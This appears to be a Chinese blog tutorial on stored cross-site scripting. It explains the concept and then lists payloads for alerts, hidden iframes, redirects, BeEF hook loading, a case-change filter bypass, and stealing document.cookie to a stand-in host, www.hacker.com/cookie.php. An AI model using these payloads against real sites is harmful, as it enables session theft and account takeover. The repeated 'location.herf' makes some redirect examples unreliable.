1. 程式人生 > 其它 >2021-01-07 儲存型跨站指令碼XSS Stored

2021-01-07 儲存型跨站指令碼XSS Stored

儲存型XSS原理:

攻擊者在頁面插入xss程式碼,服務端將資料存入資料庫,當用戶訪問存在xss漏洞的頁面時,服務端從資料庫取出資料展示到頁面上,導致xss程式碼執行,達到攻擊效果。

儲存型XSS又叫持久型跨站指令碼。

XSS不僅僅限於JavaScript,還包括flash等其它指令碼語言。根據惡意程式碼是否儲存在伺服器中,XSS可以分為儲存型的XSS與反射型的XSS。

xss =>跨站指令碼攻擊=>前端程式碼注入=>使用者輸入的資料會被當做前端程式碼執行。

如果使用者輸入的資料不被存入資料庫可以做到儲存型xss嗎?

答案是可以的,儲存型XSS的核心是存入到某個地方然後呼叫,不一定就要存在資料庫裡,還可以是檔案裡。

構造XSS指令碼:

常用html標籤:

<iframe> 建立包含另外一個文件的內聯框架。

<textarea>定義多行文字輸入控制元件。

<img> 向網頁中嵌入一幅圖片。

<script> 定義客戶端指令碼,比如javascript,可以包含指令碼語句,可以通過src屬性指向外部指令碼檔案。

常用javascript方法:

alert 顯示帶有一條指定訊息和一個確認按鈕的警告框。

window.location 獲得當前頁面地址,並把瀏覽器重定向到新頁面。

location.herf 返回當前顯示的文件的完整URL。

onload 一個頁面或一個影象完成載入。

onsubmit 確認按鈕被點選。

onerror 在載入文件或圖片時發生錯誤。

彈框警告:指令碼可以執行,也就表明後端伺服器未對特殊字元做過濾。

<script> alert ('XSS') </script>

<script> alert (document.cookie) </script>

頁面巢狀:

<iframe src=http://www.baidu.com width=300 height=300> </iframe>

<iframe src=http://www.baidu.com width=0 height=0 border=0> </iframe>

頁面重定向:

<script>window.location="http://www.qfedu.com" </script>

<script>location.herf="http://www.baidu.com" </script>

彈窗警告並重定向:

<script>alert("請到我們的新網站"); location.herf="http://www.qfedu.com" </script>

通過網站內部私信的方式將其發給其他使用者,使用者在另外站點重新登入賬戶,就可以收集賬戶訪問惡意程式碼。

<script src="http://www.qfedu.com/XSS.js"></script>

<script src="http://BeEF_IP:3000 /hook.js"></script> 結合BeEF收集資訊。

巧用圖片標籤:

<img src="#"onerror=alert('xss')>

<img src="javascript:alert('xss');">

<img src="http://BeEF_IP:3000/hook.js"> </img>

繞開過濾 的指令碼:

大小寫:<ScrIpt>alert('xss')</SCRipt>

字元編碼,採用URL,Base64等。

開啟新視窗並使用本地cookie訪問目標網頁:

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie </script>

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>

本文來自部落格園,作者:{admin-xiaoli},轉載請註明原文連結:{https://www.cnblogs.com/crackerroot}